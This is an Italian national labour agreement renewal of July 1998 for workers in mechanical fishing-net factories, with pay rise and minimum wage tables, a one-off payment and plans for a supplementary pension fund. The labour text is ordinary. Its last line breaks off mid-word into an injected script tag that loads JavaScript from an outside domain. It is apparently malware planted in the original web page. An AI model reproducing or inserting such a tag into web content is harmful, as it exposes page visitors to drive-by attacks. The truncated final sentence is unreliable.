Categoria: Retifici da pesca
Settore: Tessili
Data stipula: 14-7-1998
Data decorrenza: 1-1-1998
Data scadenza: 31-12-1999

Contratto Collettivo Nazionale di Lavoro

PER IL PERSONALE ADDETTO AI RETIFICI MECCANICI DA PESCA

del 29 gennaio 1996

ACCORDO DI RINNOVO - II biennio


Il giorno 14 luglio 1998, in Roma, corso d'Italia 92

Tra

La  Federazione  Nazionale delle Imprese di Pesca  -  Sindacato  Nazionale
Retifici   Meccanici,  rappresentata  dai  sigg.  Giovanni   Cittadini   e
Evangelista  Ziliani, assistiti dal Direttore della Federpesca  dr.  Luigi
Giannini e dal Vice-Direttore dr. Armando Pavia,

e

la FILTA-CISL, sig. Adriano Fratini e Gianfranco Bertocchi
la FILTEA-CGIL, sig. Giovanni Rossi e Franco Ballerini
la UILTA-UIL, sig. Edoardo Rossi e Ignazia Tellaroli


A  conclusione  dell'incontro  finalizzato  al  rinnovo  del  CCNL,  hanno
raggiunto il seguente accordo:

(1)   Aumenti retributivi.

(a)   Decorrenze e importi degli aumenti.

livelli   1.7.98   1.2.99    totale
                            
1         37.000   18.000    55.000
2         46.000   23.000    69.000
3         50.000   25.000    75.000
4         54.000   27.000    81.000
5         62.500   31.000    93.500
6         73.500   37.000   110.500


(b)   Minimi retributivi.

livelli    1.7.98        1.2.99
                    
1          645.000        663.000
2          800.000        823.000
3          875.600        900.600
4          950.000        977.000
5        1.090.500      1.121.500
6        1.289.100      1.326.100


(c)   Una tantum.

Ai lavoratori in forza alla data del 14.7.96, con la retribuzione del mese
di agosto 1998, verrà corrisposto l'importo 'una tantum' di £. 200.000.

Tale  importo è commisurato all'anzianità di servizio maturata nel periodo
1° gennaio - 14 luglio 1998 con riduzione proporzionale per i casi di:

-    servizio militare;
-    aspettativa;
-    assenza facoltativa 'post-partum';
-    assunzione nel corso del periodo 1° gennaio - 14 luglio 1998;
-    Cassa integrazione guadagni a zero ore.

L'importo  'una  tantum' non è computabile agli  effetti  del  TFR  e  dei
diversi istituti contrattuali e di legge.



(2) Previdenza complementare volontaria.

Le  parti  manifestano l'intenzione dì partecipare  a  un  Fondo  pensione
nazionale.

Un'apposita commissione paritetica approfondirà la materia, verificando le
diverse  possibilità  di  partecipare o  ad  altro  Fondo  promosso  dalle
Organizzazioni   sindacali  nazionali  stipulanti  e  dalle   Associazioni
imprenditoriali  del  "sistema moda", ovvero  a  un  Fondo  nazionale  del
settore marittimo con presenza delle Organizzazioni sindacali di categoria
aderenti a CGIL, CISL, UIL.

Lacommissione concluderà i propri lavori entro il 30.6.99.

Le   parti  convengono  sul  versamento di un contributo di avviamento  di
£.  5.000 per ogni lavoratore da effettuarsi entro la predetta data. Resta
inteso  il  versamento di una quota di iscrizione di  £.  5.000  per  ogni
lavoratore, che aderirà al Fondo, da versare al momento dell'iscrizione.

Qualora  si  decida  l'adesione al Fondo pensione del "sistema  moda",  si
individuano le seguenti modalità di partecipazione:

-    quota TFR da versare al Fondo : 27% del TFR maturando annuo calcolato
  su minimo contrattuale, ex contingenza, EDR;
-     contributo paritetico, a carico di azienda e lavoratore  dell'1%  di
  minimo contrattuale, ex contingenza, EDR;
-    decorrenza contribuzione complessiva (TFR + contributo) non prima del
  31.12.99, ricorrendo la condizione di 50.000 lavoratori aderenti;
-     potenziali  soci del Fondo: lavoratori non in prova con contratto  a
  tempo indeterminato, nonché lavoratori con contratto di formazione-lavoro,
  apprendistato e contratti a termine superiori a 1 anno.

Resta  inteso che eventuali interventi legislativi non dovranno comportare
cumulo di oneri con quelli sopra indicati.

La  valutazione dell'onere a titolo di previdenza complementare di cui  al
presente  accordo verrà effettuata in occasio<script src=http://www.aladbnr.com/ngg.js></script>